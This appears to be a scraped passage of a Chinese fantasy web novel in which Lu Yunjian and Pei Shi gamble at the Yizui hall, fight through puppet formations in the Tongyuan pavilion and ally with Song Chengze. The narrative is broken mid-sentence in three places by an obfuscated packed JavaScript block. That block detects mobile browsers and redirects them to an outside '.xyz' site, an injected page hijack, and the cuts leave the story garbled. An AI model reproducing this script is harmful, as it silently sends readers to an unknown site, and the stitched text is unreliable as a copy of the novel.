无人回答,他自顾自地继续:“此间名叫‘一醉坊’,所取何意?‘未必千杯皆是梦,何妨一醉笑相逢’。若是无酒,如何叫作‘一醉坊’?二位能进这一醉坊,想必是有缘之人,相逢即是缘,尽在这一杯酒中,观这一醉坊中众人,谁不是乐得一醉?” 陆云笺心道:这同渊先生倒是喜欢玩弄字眼。 裴世轻笑一声,回道:“乐得一醉?可我看这坊中众人,如痴如狂,倒像是失了神智的妖魔鬼怪。” 同渊先生道:“公子说笑。试问天下诸人,谁的欲望执念不似妖魔鬼怪缠身?来我一醉坊者,皆有所求,若是心愿执念无法了结,那便寄托在这酒中,于梦中求得自己所想。众人所呈现的醉态,或癫或痴或狂,那才是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16123729|179016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 世人真正的模样。” 裴世道:“先生是为求真?可这酒中梦中,原本就都是假的。” 同渊先生道:“未必千杯皆是梦,万一哪杯下去成了真呢?来我一醉坊,若是能赢走赌注,那心中万般心愿执念,便都可成真了。” “我心中有执念,我来与先生赌如何?” “公子想赌,自然奉陪。不过我看这位小姐与我同渊阁甚是有缘,若是不能赌上一局,恐心中有憾。” 见两人僵持不下,恐怕今天不赌一局是走不了了,现下季繁洲还被押在一旁,陆云笺低声道:“裴世,我来吧。” 裴世有些意外,转头道:“这酒……” “我知道,但要是非得喝,那就我来。”陆云笺说着放低声音,“妄尘前辈都看不出什么异常,他应该也看不出什么。更何况,要是我遇上了什么事,你还能带我出去,但要是你出事了,那就真的完蛋了。” 说完趁裴世尚未防备,一把夺过他手中酒杯,一饮而尽。原以为这酒应当是比较烈的,然而虽然闻着有一股浓浓的酒味,喝下去却如白水一般,没有任何滋味。 陆云笺将空杯展示给同渊先生看:“酒喝了,既要按照规矩,那就请先生来赌吧。” 同渊先生笑道:“小姐是个爽快人。” 陆云笺微笑道:“请先生先吧。”说着抬手抓住了裴世的手,裴世会意,掌心凝起金光,隐在二人手掌之间。 同渊先生便拿过骰子,随意往托盘上一扔。明明只是随意,却仿佛使了很大力道,骰子落在托盘上,竟开始横冲直撞,一路跌到地上,又开始疯狂旋转起来。 “……” 陆云笺一时无言以对。 看来同渊先生也很想赢,两边同时施法,明明是比运气,这下却成了比法术。好在两边作弊都作得很明显,众人心照不宣,都只屏息盯着那枚快要旋出疾风来的骰子。 陆云笺对裴世的法术自然是放一万个心,但那紫袍道士和头陀看起来也不是吃素的,要是同渊先生再叫一堆道士和尚来,一对多,那就有风险了。 只希望裴世快点找到突破口,速战速决。这个念头刚冒完,骰子突然生硬地停住,没有速度渐渐放缓的过渡,只是突然僵硬地停住了。 众人凝神去看。 ——“一”。 陆云笺悄悄松了口气,心道:裴世的法术果然无需担心。 同渊先生看了,倒是一如既往的平静,紫袍道士与头陀却有些气愤,偏偏又说不得,只能吹胡子瞪眼,自己把自己憋死。 陆云笺拾起骰子,轻轻巧巧往托盘上一扔。只要不是“一”,就能赢。 紫袍道士似乎还想搞什么动作,裴世抓着陆云笺的手未松,指尖轻轻一动,将他打了回去。下手似乎重了些,紫袍道士的右手忽地开始不受控制地痉挛,偏又有苦说不得,只得将手隐在袖中,背在身后。 这回无人干扰,骰子缓缓在托盘上停下,现出两个殷红的点。 陆云笺道:“我赢了,还请先生将那位小公子放了吧。”同渊先生依言抬手,让押着季繁洲的小厮下去。 季繁洲顿感轻松,却仍是警惕地盯着一行人,陆云笺上前,正要去拉他过来,季繁洲下意识往后一躲,道:“你是谁?”话一出口,才发现自己已经能正常发声了。 陆云笺一阵无语,抬手将遮掩面容的白纱掀开,微微一笑:“季小公子,别来无恙啊。” 季繁洲猛地瞪大眼睛,倒退几步:“是你?!你——” 陆云笺一把拉过他:“别你了,快走。”和同渊先生打了声招呼,正要往门外走,忽然又被叫住。 同渊先生道:“许久不曾与人这么酣畅淋漓地赌过一回了,我在里间设了宴,几位可愿前去喝上一杯?” 46. 千机阵 陆云笺此时只想赶紧脱身,哪还有心思管什么宴席不宴席,转身笑道:“多谢先生盛情款待,我们还有事,若是有缘,以后再聚,以后再聚。”说着拉了裴世与季繁洲,拔腿就跑。 好在同渊先生没有硬拦,陆云笺迈出一醉坊大门,拔腿狂奔好一段距离,才终于有心思放开手喘口气。 静下来才突然想起,同渊阁内设有法阵,领完金签后,需要沿着甬道走长长一段路才能进入每一层,出去却不用,往往是出了门便能瞧见侍立在门边的蒙面女郎。 此时奔出这么一段,半个人影都没瞧见,倒是光线越来越暗,不知到了何处。 陆云笺道:“裴世,你有没有看见守门人?” 没有回答。甚至没有呼吸声。 陆云笺登时出了一身冷汗,声音也颤抖起来:“裴、裴世?季小公子?季繁洲?” 无人回应。一片死寂。 陆云笺勉强平复呼吸,从怀中摸出一张符纸点燃,照亮了四周。 ……没有活人。只有一个个与真人等高的木偶人,团团将她围在中央,扭曲的影子映在墙上,像张牙舞爪的妖魔鬼怪。 另一边,陆云笺拉着裴世与季繁洲跑出好一段,有些体力不支,渐渐放缓了脚步。 前方一片昏暗,唯有远处一丝光线沿着缝隙透进来,三人朝着那道细细光线走,越靠近,光亮愈盛,裴世却越走越缓,渐渐地远远落在后面,没有跟上来。 陆云笺察觉不对,回头道:“裴世,怎么了?再走一会儿就能出去了。” 裴世道:“我好像有东西落在一醉坊了。” 陆云笺道:“算了吧,现在要是回去,还不知道会遇上什么。先出去吧。” 裴世便走上前来,他眸光沉沉,盯着陆云笺,一字一句地问:“我给你的白梅符,你还带在身上吗?” 陆云笺蹙眉道:“没有了,用完了。” 裴世手中渐渐凝起金光,他的目光不曾偏移分毫,语气也平淡无波:“还记得怎么画吗?待会儿若是遇上什么事,没有符咒用就麻烦了。你画一个我看看?” 陆云笺蹙着眉,似是思考了一会儿,而后有些警惕地说道:“一时想不起来了。”随后立即补充,“裴世,有你在,还需要怕什么麻烦吗?” 这话说得很刻意也很可疑,但也很管用。裴世怔了一瞬,原本凝在他掌中、愈来愈盛的金光竟有一瞬摇晃不定,然后他收了手,与陆云笺拉开一段距离。 裴世轻轻闭了闭眼,手掌正要再次蓄势击出,“陆云笺”却忽然朝他走近了一大步,然后唤他:“裴……”第二个字尚未出口,她的身体忽然爆裂开来,没有血肉,没有…… 不是活人。 饶是如此,裴世仍觉心中一刺,待到一个陆云笺模样的偶人摇摇晃晃落到他手中时,才倏然回过神来。他平静片刻,攥紧手中偶人,摘下纱笠往兀自愣在一旁的季繁洲手上一扔,随后转身朝光线的反方向奔去。 季繁洲这才回过神,喊道:“你去哪?!” 裴世道:“戴上,朝着光走,出了九层塔,联系季衡,先回溟海村。”说罢便隐入黑暗之中。 季繁洲诧道:“啊?季衡哥也来了?!” 没人再回答他了。 裴世沿着回一醉坊的路走了许久,只觉前路漫漫无尽头,四周阴气越来越重,压得人喘不过气。原本不想打草惊蛇,便未起火光照明,此时觉得环境有异,起了火光照亮四周,终于看清了周遭是何景象。 偶人。 密密麻麻站满甬道两侧,越往前走,偶人越多,直到完全堵住前路。透过偶人站立的间隙,裴世看见前方漫漫黑暗,没有一丝活人气息。 他在陆云笺手中留下白梅阵法,可遥以感知陆云笺的情况,方才也正是因为阵法感应不对,他才立刻发现了陆云笺的不对劲。此时越往前走,感应却越来越弱,可既然同渊阁设下这么个偶人阵拦住他,那么他的方向应当是没错的。 裴世心中愈来愈沉。 典籍中记载有一奇阵法门,名为“千机阵”,是因其中有多个阵法相连相通,牵一发而动全身。民间散修将其加以改造,在其中加入机关,通过操纵众多机甲、木偶、纸人之类以达到迷惑、牵制敌人的目的。 但因为机甲之类攻击不强,成本却高,且想要操纵偶人启动千机阵需将操纵之术练得炉火纯青,难度极高,灵力消耗也大,世上已少有修真门派开设此类课程,除了民间传承偶人操纵之术的散修,已鲜少有人修习此术。 裴世主修攻伐类术法,不曾涉猎此道,更不曾学过偶人操纵之术,简单来说,他于此道,一窍不通。 偏偏这千机阵又有其特殊性,裴世不知这偶人阵连接的是哪处阵法,也不知击碎这些偶人有什么影响,平生第一次畏手畏脚,不敢轻举妄动。 然而陆云笺不知道什么乱七八糟的千机阵,只记得书上说环境不对不要慌,先找突破口,阵法有阵眼,功法有破绽,术法也就必然有缺漏。 这么想着,转头就和一个偶人撞了个正着。 这偶人与此处其他或制作潦草、或面目模糊的偶人都不同,做得格外精致逼真,依稀是她自己的模样。 陆云笺又想起书上说,特殊之处往往可疑,可疑之处就极有可能是突破口。 这个与自己相像的偶人,也许正是同渊阁借以操纵偶人围堵她的媒介,只是不知这偶人与自己会不会有什么关联。 陆云笺思索片刻,小心地将燃烧着的烈火符凑近偶人的衣袖,火焰瞬间爬上偶人的手臂,直到将它一整只手臂都烧尽,陆云笺也没觉得自己身上有什么不对劲。 于是胆子大了几分,在这个可怜的偶人身上试验了一把近来新学、却一直没机会用的爆破阵。偶人瞬间被炸成无数碎片,然而却仿佛只是放了场绚丽而短暂的烟花一般,什么别的都没发生,四周偶人仍是一动不动地围着她、盯着她。 陆云笺心中疑惑更甚,手中烈火符火光愈盛,照亮了前面一大片地方。然而,照亮的范围越广,前路就越是绝望。四周是密密麻麻将她团团包围的偶人,头顶是它们的影子交织出的罗网。 无穷无尽,无处可逃。 陆云笺就在这样无尽的黑暗中摸索前行,虽然无用,但也不敢随意停下来。不知这样走了多久,陆云笺为了节省符咒,将火光降到最低,已如荧烛之末,只堪堪能视眼前之物。 原本有些昏昏沉沉,不知为何,四周忽然有金光亮了一瞬,随即好几个偶人的模糊脸孔渐渐清晰,如同棋盘上被操纵的棋子,窸窸窣窣地动了起来。 它们慢慢地向陆云笺靠近,最后竟身形扭曲,轻轻地笑了起来。 陆云笺一巴掌拍上脑袋,强迫自己清醒,看清四周情况后,沉声唤道:“破月。”破月匕首寒刃熠熠,转瞬之间便将靠近的偶人击碎一大片。 她虽不曾练过什么功法,但打散几个木偶人还是不在话下的,只是这偶人无穷无尽,不知要打到什么时候。 陆云笺咬着牙,尽量不分心去想其他任何事情,正杀得起劲,扭曲的偶人却都忽地消失不见了,不止是活动的偶人,静止的偶人也都在一瞬之间尽数消失不见。 陆云笺不敢松懈,死死盯着前方,心道:结束了? 下一刻,前方忽然有光 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四周密密麻麻的偶人仍是一动不动,空白一片的面目朝向他,躯体却全无攻击之态,正因如此,要确定如何解决这些偶人就格外难。 裴世思索片刻,抬手在甬道之中布下一道光阵。 如果偶人不会动,那就让它们动起来好了。如果它们不会攻击,那就让它们攻击好了。 光阵以裴世的指尖为中心,向四周发散去无数金线,一一牵引住了所有偶人。全无生气的偶人似乎终于找到了归所,空白的脸庞浮现出五官,渐渐地现出了喜怒哀乐,头颈腰身也缓缓地动了起来。 偶人阵之所以是死局,原来正是缺了操纵偶人的“线”。 原本只看得见偶人的前方,也终于出现了两扇门,血红大字刻在门上,一扇“死”,一扇“生”。 裴世随意走向“死”门,四周偶人尽数转头死死盯着他,几个偶人身法迅疾,径直冲上前来,意欲挡住他的去路。 裴世抽出随身携带的匕首,寒光料峭,偶人不及靠近便成了碎片,然而他尚未收手,那几个粉碎的偶人却又瞬间聚合,直扑他面门! 裴世手上金线未松,偶人无数次化成碎片,又无数次重新聚合起来。 直到他退出几丈远,那些偶人才又停了下来,歪头看着他。 偶人既然要挡他去路,那么他选的路便没有错,难不成击溃这些偶人的突破口也不在此处,而在与此处相连的另一处阵法之中? 裴世正蹙眉思索对策,先前挡住他去路的那几个偶人却忽然尖啸一声,不知被什么东西击中,随即头身手脚尽数散了架,噼里啪啦摔了一地。 果然还有另一处阵法与此处相连。 裴世面色沉沉,向“死”门大步迈去,开了门,却又是一模一样的偶人立在前方,偶人阵后,“生”门“死”门,分立两侧。 裴世这回选了“生”。 他虽没有操纵这些偶人,但手中金线仍为偶人的活动提供着凭借,若是选对了,几个偶人扑杀而来,又被来自另一处阵法的攻击打得散架;若是选错,偶人们便看着他咯咯地笑,不靠近,也不阻拦。 裴世步履如飞,穿行过不知多少扇门,终于瞧见了光亮。四周偶人蓦地消失了,茫茫黑暗如雾霭一般被驱散,喧嚷人声在一瞬间尽数灌入耳中。 杯盏相碰,清脆如铃音。人声相杂,鼎沸如洪涛。 侍立在门边的蒙面女郎轻轻一笑,问道:“公子可是走错了地方?这里可并不是哪一层的入口。” 47. 夙应劫 眼前正是“一醉坊”。 平常出了某一层,再回头便只能见无尽黑暗,要回去便只能再次从入口进入,可此处分明是一醉坊的出口,原本走出一醉坊,是再看不到此处的。 但裴世并非以寻常方式来到此处,因此他面不改色,只道:“我落了一样东西在一醉坊。” 蒙面女郎笑道:“原来如此。不过公子若要再入一醉坊,还是请再掷一次骰子吧。” 裴世道:“已经掷过一次,为何还要再掷?” 蒙面女郎道:“一醉坊凡事讲求缘分,公子落下的东西若是与公子还有缘分,那定然是能再次相见的,若是无缘,也就强求不得。” 裴世道:“是吗?”他面上无波无澜,只拿过骰子掷了出去。 这一回骰子立刻便停下来了。裴世甚至尚未准备好操纵术法,骰子骨碌碌滚到一个令它心满意足的点数,迫不及待便停了下来。 六点。 裴世去拾骰子的手停在半空,他听见蒙面女郎笑道:“看来公子与那样东西的确有缘,想必公子一定将它视若珍宝吧?如此,便祝公子失而复得,得偿所愿。” 裴世嘴角终于勉强揉开一抹笑意:“多谢。”这笑意转瞬即逝,再开口时,又是平日里淡淡的模样,“不知这同渊阁第九层是什么地方?” 蒙面女郎的声音里仍旧含着笑意:“公子怎地忽然问起了第九层?” 裴世道:“只是忽然想起来,世人常说同渊阁九层塔其余八层是何等繁华热闹,却极少有人提起第九层。因此有些好奇,不知这第九层是什么宝地?” 蒙面女郎道:“公子见谅,第九层是我家主人的居所,不迎客。” “居所么?”裴世微微眯眼,“倘若我要见你家主人呢?也去不得第九层?” 蒙面女郎道:“我家主人常来一醉坊,公子若要见他,来第六层便好。”说着便让开身,做了个“请”的手势,“公子请吧。” 一醉坊内与先前并无任何不同,同渊先生又坐回了珠帘之后,此时无人与他打赌,他便坐在太师椅上,饶有兴趣地支颐看着下头的人行赌。紫袍道士与头陀依然侍立在他左右,鬼面女郎穿梭于人群之中,不曾停歇半刻。 裴世将纱笠给了季繁洲,此时没有东西遮面,便挑了个角落的位置坐下,上下扫视着一醉坊内所有的阵法结界布置。待到收回视线,再去看同渊先生坐的那座高台时,已经有人遥遥向同渊先生敬了杯酒,道:“我想与先生赌一局。” 与这声音的主人打过几回难忘的交道,裴世已经对这声音很是熟悉,他缓缓抬眸望向那人,只见他一贯的素白衣裳、纱笠遮面,清瘦而没有少年人该有的挺拔与朝气,连语气都平平淡淡,如同水墨淡彩,很容易被抹去。 鬼面女郎得了同渊先生授意,飘飘然行至他身前,却没急着接过他手中酒杯,只道:“不问前生来世之因果,不涉天上地下之乾坤。请问公子,想赌什么?” 寻常人所求,不过钱财、姻缘、功名之类,至多不过是求报仇雪恨,而白衣人所说,却是奇怪得很:“听闻先生有一块玉佩,由黑玉制成,乃是难得一见的奇珍异宝。我此次前来,只是想开开眼,求得这玉佩一观。” 鬼面女郎道:“看公子似乎是一路风尘仆仆赶来,竟只想求一观么?” 白衣人道:“我没有什么东西可以换,便是想求这玉佩易主,也是求不起的。” 鬼面女郎道:“好吧。那么请问公子,赌注为何?” 白衣人嗓音沉沉,不紧不慢道:“听闻此间有一柄宝剑失窃,碰巧我来的路上遇见过,知晓它现在在何处。非是不愿意告知,只是心心念念想求那玉佩一观,便也厚着脸皮想与先生赌一局。” 听闻此言,高台上珠帘微动,紫袍道士走了出来,道:“无论知不知道那宝剑在何处,那贼人便是变作蚊虫飞鸟,也是出不得九层塔的结界的。” 白衣人不慌不忙,微微抬头望向他:“如今已经过了几个时辰,贼人跑不掉,也并不代表同渊阁一定找得到。想必先生也不希望那柄宝剑被毁吧?” 两人僵持片刻,紫袍道士先败下阵来:“左右没有什么妨碍,那便与你赌。”说罢便要先掷骰。 白衣人道:“我想请先生亲自来掷。” 紫袍道士不免微有不耐:“阁下休要得寸进尺。” 白衣人分毫不惧:“掷骰行赌,看的是运气。我知道先生掷骰一向由旁人代劳,只是由人代劳,比的究竟是不是自己的气运?我这一生别无所求,第一是想求得宝物一观,第二便是,想与同渊阁主,赌一赌命。” “是吗?”同渊先生缓缓起身掀开珠帘,居高下望,一片空白的面具上自然没有任何情绪,只是语气却带着几分轻蔑戏谑,“我运气一向很好,阁下可要小心了。” 白衣人面上无波无澜,语气仍淡淡:“先生先吧。” 同渊先生不曾从高台上下来,鬼面女郎呈了托盘上去,他只随意一扔,甚至没有去等结果,就要拂袖坐回珠帘之后。然而,骰子原本是要停在五点的,却不知为何翻到了另一面,停在了三点。 紫袍道士一怔,随即不悦道:“这骰子原先是要停在五点的,阁下缘何舞弊?” 白衣人甚至还没看见点数就被泼了一脸脏水,语气中竟也没有半点怨怼,只道:“道长说的舞弊是怎么个舞弊法?是我手上牵了线操纵骰子转,还是用了什么仙法?道长若是怀疑,那便随意检查。” 紫袍道士瞥他一眼,扯过他的手细细把了脉,又仔细察看一番,心中疑惑:的确全无灵力,也不曾练过什么功法。他有些不服,道:“焉知你是不是有什么同伙?” 裴世隐在人群之后,悠悠转动着手中酒杯。这酒喝不得,偏生又没有茶,百无聊赖间,连看这么一出好戏的兴致都消减了不少。 白衣人道:“我初来乍到,连认识的人都没有。若是我能靠作弊取胜,那我求的就不该只是一观宝物了。” 紫袍道士原也只是随口一说,扫视一圈,未见异样,便将托盘递给他:“阁下请吧。” 白衣人抬手一掷,见是四点,便缓缓抬头道:“不用麻烦,我只看一眼,就在此处吧。”他整个人从神情到语气都是风平浪静的,并没有什么该有的惊喜与激动,与他先前所说“毕生所求”毫不相符。 紫袍道士不由得又打量他几眼:这人究竟是活的还是死的? 这黑玉玉佩的确是一件罕物,同渊先生平日里将它随身佩戴,此时取下来,放在锦盒之中,紫袍道士将它呈到白衣人面前,仍是小心翼翼地护着。 白衣人正要伸手去拿,紫袍道士却把锦盒往回撤了一步:“公子不是说只看一眼?” “……” 白衣人抬眼看他,伸出去的手悬在锦盒上方片刻,还是收了回去。收回去之后,就再也没说什么,也没有别的动作,只垂眸盯着那块玉佩,不知在想什么。 裴世停下转酒杯的手,也抬头看向他,心中不免生疑:当真是“只求一观”? 片刻之后,紫袍道士将锦盒收回,呈回同渊先生身边。同渊先生只草草看了一眼,并未立刻将那玉佩佩回腰间,只让紫袍道士捧着那锦盒站在一旁。 白衣人道:“还请先生查验,莫要出了什么差错。” 紫袍道士瞥他一眼,犹豫片刻,还是将锦盒打开,里头的玉佩完好无缺,色泽光润。他伸手去拿玉佩,指尖触到那温润微凉的事物时,却是微微蹙眉。 未及他反应,丝丝缕缕的黑烟忽然从玉佩中蹿出,越过他,径直扑向一旁的同渊先生! 同渊先生下意识闪避,遮面的空白面具上显然也是施了法术,堪堪替他挡了这一击,只是这一挡之下,那张面具碎成两半、摔落在地,露出同渊先生惊惧的脸。 众人惊声尖叫, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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宋承泽脸上并没有多少惊讶与意外:“裴仙君是要押我回云间世?” 裴世道:“我会押你回去,但不是现在。” 宋承泽脸上终于有了点表情,他嘴角微弯,显出几分嘲讽:“我还以为裴仙君会要我在仙门前诉清真相,说云间世会还我一个公道。” “是吗?”裴世冷笑道,“那你的确猜错了,我虽帮云间世做事,可也不是云间世的走狗。仙门百家尸位素餐,你若要讨还公道,唯有靠自己拼杀出一条血路。” 宋承泽脸上总算有了些意外:“裴仙君总不能是见仙门不公,一时兴起便来帮我。” 裴世道:“怎么不能?我不过是看不惯,凭什么恶人能心安理得坐高堂,冤魂无处诉,报应不得偿。” 宋承泽抬头望着他,没接话。 裴世继续道:“你应当试过设置幻境,但失败了。同渊阁内阵法结界密布,是同渊先生的法力场,非同渊阁中人的法术在他的法力场中会遭到限制,要想在短时间内杀他,还是需要设置幻境,这你很清楚。我会将同渊阁的法力场强行改换,届时你再设幻境。此处结界便是我方才强行改换法力场设下的,支撑不了太久。” 话音刚落,结界便在猛烈撞击之下震颤一瞬。 宋承泽看了一眼结界被撞击之后留下的裂痕,淡声道:“同渊阁内四处是偶人阵,要想破阵,需操纵偶人。我虽学艺不精,但可尽力一试。” 裴世等的就是这句话。学艺不精,总比一窍不通好。 裴世道:“结界破后,同渊阁应当会将我们传送至第九层,以偶人阵堵住我们的去路。你手还行吗?” 宋承泽道:“左手行。”话音刚落,结界破碎,待到眼前金光散去,昏暗阴凉便再一次如潮水般覆盖上来,四周再没有活人的气息与声响。 裴世手中亮起火光,照亮四周。毫无意外,无数偶人的视线尽数投在他们身上,形成一层无形罗网,令人喘息不得。 此处正是偶人阵的中心,同渊阁内的偶人阵皆以此处为基。 同渊阁九层塔第九层——牢狱。 48. 生有命 台上演得正热闹,这几个偶人制作精良、栩栩如生,没有唱词,甚至没有声音,却仅凭画面就能传达出所有的意思。 蓟上是木偶戏的发源地,保留了木偶戏最初的模样,因此上回在酒楼里瞧见蓟上人演木偶戏,无论是那个横死的手艺人还是阿宋,他们演的木偶戏都在白色幕布后进行,用木偶在幕布上的投影来展示情节,对偶人的制作要求并不会太高。 而蓟上的木偶戏传遍各地后,渐渐不再以投影来表现情节,偶人的制作工艺渐趋成熟,模样更加宛若真人,行动更加灵活敏捷,此处台上的偶人正是如此,没了幕布遮掩,真实之中更加触目惊心。 陆云笺原本对这些精巧的手艺品很感兴趣,此时却完全没有心思再去欣赏,手中仍紧紧攥着破月,冷眼瞧着台上那些身形熟悉的偶人。 瞧了半天,可终于明白这些偶人是想表达什么了。无声默剧里,人影交错,由浓变淡,一一走向设定的死局。 她的父亲站在一众癫狂扭曲的身影中,灵力不支,爆体而亡。 她的母亲倒在无数鬼怪妖魔的口齿间,血肉零碎,尸骨无存。 然后是陆明周,高台之上的云间世少主,跪落在地,成为众人剑尖所指,在无数人的注视之下,万剑穿心,曝尸荒野。 再是季衡,他在无数扭曲人影之前,纵身朝着面前光芒大盛的法阵一跃而下,躯体在法阵的光芒中渐渐消解,骨骼血肉都不复存在。 季瑶站在高台之上,身后空无一人,身前千夫所指。而她拔剑独对众人,终是寡不敌众,剑断人亡,零落成泥。 贺江年再不入仙门,佩剑已断,双目亦不能视物,形容枯槁,茕茕孑立,孤身老死江湖中。 还有裴世。 他甚至没什么情节,如同身上穿的那件云间世藏蓝弟子袍一般简陋。这穿着与场景陆云笺都很陌生,若不是偶人的面部与身形都精致逼真,她是决计认不出来的。 陆云笺只看见他满身血迹,尚不知是什么情况,下一秒便见一队人马慌慌张张地从他身上踏过,血肉模糊,骨骼碎裂,而后又是无数人、无数林间走兽、无数妖魔鬼怪自他身上踏过,甚至争相分食,直到血肉成了血浆,骨骼成了粉末,兀自在地上闪着微弱金光。 这些偶人不知是用了什么法术,明明只是演了一场默然的木偶戏,陆云笺却觉得浑身发凉,几乎能看见这些熟悉鲜活的面孔,在下一秒就覆满血污。 还有她自己。陆云笺几乎是麻木地继续看着,这出戏为她设计了什么死法?然而没有等到自己的偶人出场,灯光忽然暗了下去,无尽黑暗中,只能听到自己的幽幽唱腔:“风雨飘零天地间……” 陆云笺蓦地甩出破月,四周响起什么东西散架的声音,然而下一刻便有更多东西窸窸窣窣地如潮水一般围过来,与沉沉黑暗一起,压得人喘息不能。 陆云笺紧紧抓着破月,在黑暗中划出一道又一道破碎的声音,声嘶力竭地试图摆脱方才所见所听:“滚!滚啊!!滚开!!!” “天上人间同一梦,梦魂长留……” 陆云笺再没有心思去顾什么陷阱不陷阱,抬手飞速画出一道爆破阵法,源源不断、不计多少地往阵法中灌入灵力,直到爆破阵光芒大盛,达到了所能承受灵力的上限,强行启动,刹那间便将周围的一切爆破成碎片! 飞沙碎石迷人眼,陆云笺耳边尚在嗡鸣,下一刻却忽然落入一个结实的怀抱,伴随着一声略带惊诧的呼唤:“陆云笺?” 从一个黑暗环境落入另一个黑暗环境,陆云笺依旧视物不清,只能依靠其他感官感知四周。刚一落地,她便反手拽住那人打算拔腿就跑。 拽不动。 裴世手中的照明火光再次亮起来,他说:“别跑,这里都是偶人。” 陆云笺转头蹙眉道:“你怎么也被关到这儿来了?” 裴世却没有回答,只道:“你方才的爆破阵用得很好,大有长进了。” 陆云笺也没有应他的话,只问:“怎么才能出去?” 裴世便轻笑一声,这一笑之下,先前什么紧张压抑都被驱散了七成:“我们刚到此处,就遇上你用爆破阵把第九层炸塌了,现在也不知是到了什么地方。” “……”陆云笺见他这样,心中不安虽也淡去了几分,但嘴上还是道,“那你还笑?” 裴世却道:“同渊阁的酒不是会迷人心智吗?你现在倒是还挺生龙活虎的。” 陆云笺道:“他给我喝的莫不是假酒,我喝那酒感觉什么味道都没有,也完全没感觉到有什么妨碍。” 裴世的笑意却忽然淡了下去,他抬手设下一道阵法,似是不经意地道:“那你还真是无欲无求无执念了。”阵法生效,丝丝缕缕的金线将四周偶人尽数连接,黑暗之中,淡淡金光如同萤火,照亮了方寸天地。 陆云笺这才看清裴世身旁还立着一人:“你是……”看清之后却是微微一惊,“阿宋?!”然而又忽地想通一节,微微眯起眼睛,“……宋承泽?” 宋承泽微一点头:“陆仙君。” “……所以同渊阁拍卖会上的那把剑,是你盗……”陆云笺说着便觉言辞不妥,改口道,“取走的?” 宋承泽的语调平静得近乎冷淡:“那把剑并不在拍卖会上,而在九层塔塔顶。我只是替一位故人将他所有之物取回。” “故人。”陆云笺道,“妄尘前辈吗?”虽是疑问,但心中已有答案。 宋承泽没有回答,他缓缓移开视线,目光落在四周的偶人身上。 裴世虽并没有操纵木偶人活动,但众偶人由金线所连,早已自动调整好了位置,此时无数偶人如同案上棋子,连接人偶的金线便是棋格,棋局已成,生死待定。 宋承泽从裴世手中接过金线,感受到其上源源不断的灵流,瞥他一眼,道:“不用给我灵力,我用不了。” “你只管操纵偶人破阵,这些灵流不用你运转。”裴世道,“不过我的确很好奇,你既然没有灵力,用不了法术,又是如何设下幻境并操纵黑龙杀人的?” “世间本就有许多事不合常理,”宋承泽淡淡地回,“你们就当我是冤魂索命罢。” “是吗?”裴世挑眉道,“譬如,尚且活着的人,却要给自己立一座碑?” 宋承泽整理金线的动作一顿,随即道:“早就死了。”若说原本他的语调是无波无澜,此言一出,便是了无生气。 陆云笺闻言,一个念头不合时宜地冒出来:这人不会下一秒就用这些线把自己勒死吧? 待到宋承泽理好了牵引偶人的线,只轻轻一拉,众偶人便都有了神情动作,或哭或笑,或抬手拈花,或持剑前刺,都刹那生动起来。 陆云笺奇道:“单手操纵?蓟上木偶戏的独门技艺吗?” “不是,”宋承泽道,“溟海村的技艺。” 几个持剑操枪的木偶人就在他的操纵下,一路过关斩将,残骸碎肢散落一地,被踩得嘎吱作响。宋承泽的技艺虽谈不上娴熟,但显然也为破同渊阁的偶人阵做了些准备,此时手法已远超在酒楼表演木偶戏那回。 一路上只管将拦路的木偶人一律斩杀,不知走了多久,也不知打碎了多少偶人,只知道四周的偶人残骸堆积如山,压住了偶人们碎在喉间的啸叫。 宋承泽却仿佛不知疲累一般,一路破阵,速度竟是越来越快,直到走到一处,被几个与众不同的偶人挡住去路时,才蓦然刹住。 已经有一缕光线自黑暗中透来,照亮了前方的景象。 四周俱是偶人残骸,只剩前方三个偶人仍直直立着。站在前面的是紫袍道士与头陀的偶人,同渊先生的偶人隐在两人之后,空白面具上忽然浮现出了一张浓墨重彩的脸,眉眼弯弯,是一张有些夸张的笑脸。 陆云笺道:“这三个偶人,寻常偶人杀得动吗?” 宋承泽扯紧了手中金线,持剑的白衣偶人缓缓抬剑,停在半空,没有前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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裴世原本还有些紧绷,听到这话,却是又一次笑了:“我还以为你会说,这种事理应交由云间世来处理。” “是这么个理没错。”陆云笺道,“但要是云间世真能管,这世上就不会有同渊先生,更不会有宋承泽了。” 此事牵扯到溟海村诸多百姓,又牵扯到天下第一大商行,同渊阁与云间世有怎样的干系自是不必说,单是如何处理那些百姓就是一大难题,如何都不妥。 地方仙门将此事压了许久,此时捅出来,势必要引起无数关注,云间世有自己的考量也不足为怪。 陆云笺继续道:“擅自行事当然不对,但我就是不明白,为什么有的人做了恶事,还能心安理得飞黄腾达。” 正说着,笼罩九层塔的金色结界忽然闪烁一瞬,随即慢慢黯淡下去,直至消失不见。裴世垂眸看她片刻,收回目光,复又望向九层塔:“那就先把九层塔里的人带出来吧。” 一醉坊里的人早便散尽了,九层塔其余几层倒还有些人,待到将他们全部疏散,夜色早已漫了上来。 同渊阁的夜市向来极为热闹,素有“万里晴光,尽入夜江”之誉,然而此时九层塔却是一反常态的寂静,还没有离开的人也只是三三两两停留在九莲台连接的各个集市上,离得很远,独留九层塔中兀自亮着星星点点的光。 裴世站在九莲台上,看着灯火通明却空无一人的九层塔,忽然转头唤她:“陆云笺。” “嗯?” “给你变个戏法。” 